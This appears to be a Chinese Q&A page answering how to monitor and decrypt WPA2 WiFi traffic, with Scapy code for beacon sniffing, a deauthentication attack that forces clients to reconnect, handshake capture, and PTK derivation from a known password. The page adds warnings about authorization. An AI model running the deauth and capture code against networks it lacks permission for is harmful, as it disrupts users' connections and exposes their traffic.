You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

能否用监听模式扫描WiFi流量?WPA2加密下如何获取设备密钥?

WPA2 WiFi流量解密的可行方案(针对你的扫描器需求)

首先明确:WPA2的加密设计本身就是为了防止未授权的流量监听,所以没有直接获取设备专属密钥的“捷径”,但你提到的四次握手捕获+PSK推导是目前唯一技术可行的路径,并非完全无法实现,下面拆解具体逻辑和操作步骤:

核心原理:PTK的生成逻辑

WPA2中每个设备(STA)和AP之间的会话密钥(PTK)是通过以下参数推导出来的:

  • AP的预共享密钥(PSK,也就是你连接WiFi时输入的密码)
  • AP的MAC地址
  • STA的MAC地址
  • 四次握手过程中生成的随机数(ANonce和SNonce)

只要你能获取到PSK,同时捕获到STA与AP之间的完整四次握手包(至少前2帧即可推导PTK),就能计算出该STA对应的PTK,进而用Scapy解密其加密流量。

实际操作步骤

  1. 捕获AP基础信息
    用Scapy监听Beacon帧,提取目标AP的SSID、MAC地址:

    from scapy.all import sniff, Dot11, Dot11Beacon, Dot11Elt
    
    def capture_ap_info(pkt):
        if pkt.haslayer(Dot11Beacon):
            ssid = pkt[Dot11Elt].info.decode()
            ap_mac = pkt[Dot11].addr2
            if ssid == "你的目标SSID":
                print(f"目标AP: SSID={ssid}, MAC={ap_mac}")
    
    sniff(iface="wlan0mon", prn=capture_ap_info, timeout=15)
    
  2. 捕获四次握手包
    大部分已连接的STA不会主动触发四次握手,所以需要发送Deauth帧强制STA重新连接AP,此时就能捕获到握手包:

    from scapy.layers.dot11 import Dot11Deauth
    from scapy.all import sendp, sniff, wrpcap, EAPOL
    
    # 发送Deauth帧(仅在你拥有权限的网络使用!)
    def send_deauth(ap_mac, sta_mac):
        pkt = Dot11(addr1=sta_mac, addr2=ap_mac, addr3=ap_mac)/Dot11Deauth(reason=7)
        sendp(pkt, iface="wlan0mon", count=3, inter=0.1)
    
    # 监听握手包
    def capture_handshake(pkt):
        if pkt.haslayer(EAPOL) and pkt[EAPOL].type == 3:
            # 保存握手包到文件,后续用于PTK计算
            wrpcap("handshake.pcap", pkt, append=True)
            print("捕获到握手帧")
    
    # 先发送Deauth,再监听
    send_deauth("AP_MAC", "STA_MAC")
    sniff(iface="wlan0mon", prn=capture_handshake, timeout=10)
    
  3. 计算PTK并解密流量
    利用Scapy的scapy.contrib.wpa模块,结合PSK和握手包中的参数计算PTK,然后解密后续捕获的加密数据包:

    from scapy.contrib.wpa import WPA_key, wpa_ptk
    from scapy.all import rdpcap
    
    # 从握手包中提取ANonce、SNonce等字段
    handshake_pkts = rdpcap("handshake.pcap")
    anonce = handshake_pkts[0][WPA_key].nonce
    snonce = handshake_pkts[1][WPA_key].nonce
    ap_mac = "AP_MAC"
    sta_mac = "STA_MAC"
    psk = "你的WiFi密码"
    
    # 计算PTK
    ptk = wpa_ptk(psk, ap_mac.replace(":", ""), sta_mac.replace(":", ""), anonce, snonce)
    # 后续可使用PTK解密CCMP/GCMP加密的802.11数据包
    

关键限制与注意事项

  • 合法性:所有操作必须在你拥有完全权限的网络上进行,未经授权捕获、Deauth攻击或解密他人流量属于违法行为,后果自负。
  • PSK依赖:如果不知道目标AP的PSK,就算捕获到握手包也无法推导PTK,暴力破解PSK属于非法行为且效率极低(除非密码简单)。
  • 会话时效性:部分AP会定期更新PTK,所以需要重新捕获握手包才能继续解密后续流量。

内容的提问来源于stack exchange,提问作者BronFan100

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.07 09:43:14